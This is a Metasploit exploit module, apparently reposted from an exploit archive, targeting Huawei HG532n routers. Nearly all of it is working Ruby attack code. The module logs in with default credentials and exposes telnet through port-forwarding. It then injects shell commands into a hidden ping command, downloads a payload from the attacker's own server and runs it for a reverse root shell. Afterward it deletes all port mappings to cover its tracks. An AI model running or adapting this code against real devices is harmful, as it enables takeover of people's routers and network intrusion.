Huawei HG532n Command Injection

This Metasploit module exploits a command injection vulnerability in the Huawei HG532n routers provided by TE-Data Egypt, leading to a root shell. The router's web interface has two kinds of logins, a "limited" user:user login given to all customers and an admin mode. The limited mode is used here to expose the router's telnet port to the outside world through NAT port-forwarding. With telnet now remotely accessible, the router's limited "ATP command line tool" (served over telnet) can be upgraded to a root shell through an injection into the ATP's hidden "ping" command.


MD5 | 5846ef508d85837a4608f1c94c201d64

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(
info,
'Name' => 'Huawei HG532n Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the Huawei
HG532n routers provided by TE-Data Egypt, leading to a root shell.

The router's web interface has two kinds of logins, a "limited" user:user
login given to all customers and an admin mode. The limited mode is used
here to expose the router's telnet port to the outside world through NAT
port-forwarding.

With telnet now remotely accessible, the router's limited "ATP command
line tool" (served over telnet) can be upgraded to a root shell through
an injection into the ATP's hidden "ping" command.
),
'Author' =>
[
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'Privileged' => true,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
},
'Targets' =>
[
[
'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 15 2017'
))
register_options(
[
OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
], self.class
)
end

def check
httpd_fingerprint = %r{
\A
HTTP\/1\.1\s200\sOK\r\n
CACHE-CONTROL:\sno-cache\r\n
Date:\s.*\r\n
Connection:\sKeep-Alive\r\n
Content-Type:\stext\/html\r\n
Content-Length:\s\d+\r\n
\r\n
<html>\n<head>\n
<META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
<META\shttp-equiv="Pragma"\scontent="no-cache">\n
<META\shttp-equiv="expires"\sCONTENT="-1">\n
<link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
}x

begin
res = send_request_raw(
'method' => 'GET',
'uri' => '/'
)
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Could not connect to device")
return Exploit::CheckCode::Unknown
end

if res && res.code == 200 && res.to_s =~ httpd_fingerprint
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Unknown
end

#
# The Javascript code sends all passwords in the form:
# form.setAction('/index/login.cgi');
# form.addParameter('Username', Username.value);
# form.addParameter('Password', base64encode(SHA256(Password.value)));
# Do the same base64 encoding and SHA-256 hashing here.
#
def hash_password(password)
sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
Base64.encode64(sha256).gsub(/\s+/, "")
end

#
# Without below cookies, which are also sent by the JS code, the
# server will consider even correct HTTP requests invalid
#
def generate_web_cookie(admin: false, session: nil)
if admin
cookie = 'FirstMenu=Admin_0; '
cookie << 'SecondMenu=Admin_0_0; '
cookie << 'ThirdMenu=Admin_0_0_0; '
else
cookie = 'FirstMenu=User_2; '
cookie << 'SecondMenu=User_2_1; '
cookie << 'ThirdMenu=User_2_1_0; '
end

cookie << 'Language=en'
cookie << "; #{session}" unless session.nil?
cookie
end

#
# Login to the router through its JS-based login page. Upon a successful
# login, return the keep-alive HTTP session cookie
#
def web_login
cookie = generate_web_cookie(admin: true)

# On good passwords, the router redirect us to the /html/content.asp
# homepage. Otherwise, it throws us back to the '/' login page. Thus
# consider the ASP page our valid login marker
invalid_login_marker = "var pageName = '/'"
valid_login_marker = "var pageName = '/html/content.asp'"

username = datastore['HttpUsername']
password = datastore['HttpPassword']

res = send_request_cgi(
'method' => 'POST',
'uri' => '/index/login.cgi',
'cookie' => cookie,
'vars_post' => {
'Username' => username,
'Password' => hash_password(password)
}
)
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?

unless res.code == 200
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
end

return res.get_cookies if res.body.include? valid_login_marker

if res.body.include? invalid_login_marker
fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
else
fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
end
end

#
# The telnet port is filtered by default. Expose it to the outside world
# through NAT forwarding
#
def expose_telnet_port(session_cookies)
cookie = generate_web_cookie(session: session_cookies)

external_telnet_port = rand(32767) + 32768

portmapping_page = '/html/application/portmapping.asp'
valid_port_export_marker = "var pageName = '#{portmapping_page}';"
invalid_port_export_marker = /var ErrInfo = \d+/

res = send_request_cgi(
'method' => 'POST',
'uri' => '/html/application/addcfg.cgi',
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
'vars_get' => {
'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',
'RequestFile' => portmapping_page
},
'vars_post' => {
'x.PortMappingProtocol' => "TCP",
'x.PortMappingEnabled' => "1",
'x.RemoteHost' => "",
'x.ExternalPort' => external_telnet_port.to_s,
'x.ExternalPortEndRange' => external_telnet_port.to_s,
'x.InternalClient' => "192.168.1.1",
'x.InternalPort' => "23",
'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
}
)
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?

unless res.code == 200
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
end

if res.body.include? valid_port_export_marker
print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
return external_telnet_port
end

if res.body.match? invalid_port_export_marker
fail_with(Failure::Unknown, "Router reported port-mapping error. " \
"A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
end

fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
end

#
# Cover our tracks; don't leave the exposed router's telnet port open
#
def hide_exposed_telnet_port(session_cookies)
cookie = generate_web_cookie(session: session_cookies)
portmapping_page = '/html/application/portmapping.asp'

# Gather a list of all existing ports forwarded so we can purge them soon
res = send_request_cgi(
'method' => 'GET',
'uri' => portmapping_page,
'cookie' => cookie
)

unless res && res.code == 200
print_warning "Could not get current forwarded ports from web interface"
end

# Collect existing port-forwarding keys; to be passed to the delete POST request
portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
vars_post = {}
res.body.scan(portforward_key).uniq.each do |key|
vars_post[key] = ""
end

res = send_request_cgi(
'method' => 'POST',
'uri' => '/html/application/del.cgi',
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
'vars_get' => { 'RequestFile' => portmapping_page },
'vars_post' => vars_post
)
return if res && res.code == 200

print_warning "Could not re-hide exposed telnet port"
end

#
# Cleanup our state, after any successful web login. Note: router refuses
# more than 3 concurrent logins from the same IP. It also forces a 1-minute
# delay after 3 unsuccessful logins from _any_ IP.
#
def web_logout(session_cookies)
cookie = generate_web_cookie(admin: true, session: session_cookies)

res = send_request_cgi(
'method' => 'POST',
'uri' => '/index/logout.cgi',
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
)
return if res && res.code == 200

print_warning "Could not logout from web interface. Future web logins may fail!"
end

#
# Don't leave web sessions idle for too long (> 1 second). It triggers the
# HTTP server's safety mechanisms and make it refuse further operations.
#
# Thus do all desired web operations in chunks: log in, do our stuff (passed
# block), and immediately log out. The router's own javescript code handles
# this by sending a refresh request every second.
#
def web_operation
begin
cookie = web_login
yield cookie
ensure
web_logout(cookie) unless cookie.nil?
end
end

#
# Helper method. Used for waiting on telnet banners and prompts.
# Always catch the ::Timeout::Error exception upon calling this.
#
def read_until(sock, timeout, marker)
received = ''
Timeout.timeout(timeout) do
loop do
r = (sock.get_once(-1, 1) || '')
next if r.empty?

received << r
print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true
return received if received.include? marker
end
end
end

#
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
#
IAC = 255.chr # "\377" # "\xff" # interpret as command
DO = 253.chr # "\375" # "\xfd" # please, you use option
OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission
OPT_ECHO = 1.chr # "\001" # "\x01" # Echo
OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead
OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition

def telnet_auth_negotiation(sock, timeout)
begin
read_until(sock, timeout, 'Password:')
sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
rescue ::Timeout::Error
fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
end

begin
read_until(sock, timeout, 'Password:') # Router bug
sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
rescue ::Timeout::Error
fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
end
end

def telnet_prompt_wait(error_regex = nil)
begin
result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
if error_regex
error_regex = [error_regex] unless error_regex.is_a? Array
error_regex.each do |regex|
if result.match? regex
fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
end
end
end
rescue ::Timeout::Error
fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
end
end

#
# Basic telnet login. Due to mixins conflict, revert to using plain
# Rex sockets (thanks @hdm!)
#
def telnet_login(port)
print_status "Connecting to just-exposed telnet port #{port}"

@telnet_prompt = 'HG520b>'
@telnet_timeout = 60

@telnet_sock = Rex::Socket.create_tcp(
'PeerHost' => rhost,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
'Timeout' => @telnet_timeout
)
if @telnet_sock.nil?
fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
end
add_socket(@telnet_sock)

print_good "Connection succeeded. Passing telnet credentials"
telnet_auth_negotiation(@telnet_sock, @telnet_timeout)

print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"
telnet_prompt_wait

print_good 'Prompt received. Telnet access fully granted!'
end

def telnet_exit
return if @telnet_sock.nil?
@telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)
end

#
# Router's limited ATP shell just reverts to classical Linux
# shell when executing a ping:
#
# "ping %s > /var/res_ping"
#
# A successful injection would thus substitute all its spaces to
# ${IFS}, and trails itself with ";true" so it can have its own
# IO redirection.
#
def execute_command(command, error_regex = nil, background: false)
print_status "Running command on target: #{command}"

command.gsub!(/\s/, '${IFS}')
separator = background ? '&' : ';'
atp_cmd = "ping ?;#{command}#{separator}true"

@telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)
telnet_prompt_wait(error_regex)
print_good "Command executed successfully"
end

#
# Our own HTTP server, for serving the payload
#
def start_http_server
@pl = generate_payload_exe

downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
resource_uri = '/' + downfile

if datastore['DOWNHOST']
print_status "Will not start local web server, as DOWNHOST is already defined"
else
print_status("Starting web server; hosting #{resource_uri}")
start_service(
'ServerHost' => '0.0.0.0',
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req) },
'Path' => resource_uri
}
)
end

resource_uri
end

#
# HTTP server incoming request callback
#
def on_request_uri(cli, _request)
print_good "HTTP server received request. Sending payload to victim"
send_response(cli, @pl)
end

#
# Unfortunately we could not use the `echo' command stager since
# the router's busybox echo does not understand the necessary
# "-en" options. It outputs them to the binary instead.
#
# We could not also use the `wget' command stager, as Huawei
# crafted their own implementation with much different params.
#
def download_and_run_payload(payload_uri)
srv_host =
if datastore['DOWNHOST']
datastore['DOWNHOST']
elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
Rex::Socket.source_address(rhost)
else
datastore['SRVHOST']
end

srv_port = datastore['SRVPORT'].to_s
output_file = "/tmp/#{rand_text_alpha_lower(8)}"

# Check module documentation for the special wget syntax
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"

execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
execute_command("chmod 700 #{output_file}", /No such file/)
execute_command(output_file, /not found/, background: true)
execute_command("rm #{output_file}", /No such file/)
end

#
# At the end of the module, especially for reverse_tcp payloads, wait for
# the payload to connect back to us. There's a very high probability we
# will lose the payload's signal otherwise.
#
def wait_for_payload_session
print_status "Waiting for the payload to connect back .."
begin
Timeout.timeout(datastore['ListenerTimeout']) do
loop do
break if session_created?
Rex.sleep(0.25)
end
end
rescue ::Timeout::Error
fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
end
print_good "Payload connected!"
end

#
# Main exploit code: login through web interface; port-forward router's
# telnet; access telnet and gain root shell through command injection.
#
def exploit
print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
unless check == Exploit::CheckCode::Appears
fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
end

print_good "Good. Router seems to be a vulnerable HG532n device"

telnet_port = nil
web_operation do |cookie|
telnet_port = expose_telnet_port(cookie)
end

begin
telnet_login(telnet_port)
payload_uri = start_http_server
download_and_run_payload(payload_uri)
wait_for_payload_session
ensure
telnet_exit
web_operation do |cookie|
hide_exposed_telnet_port(cookie)
end
end
end
end

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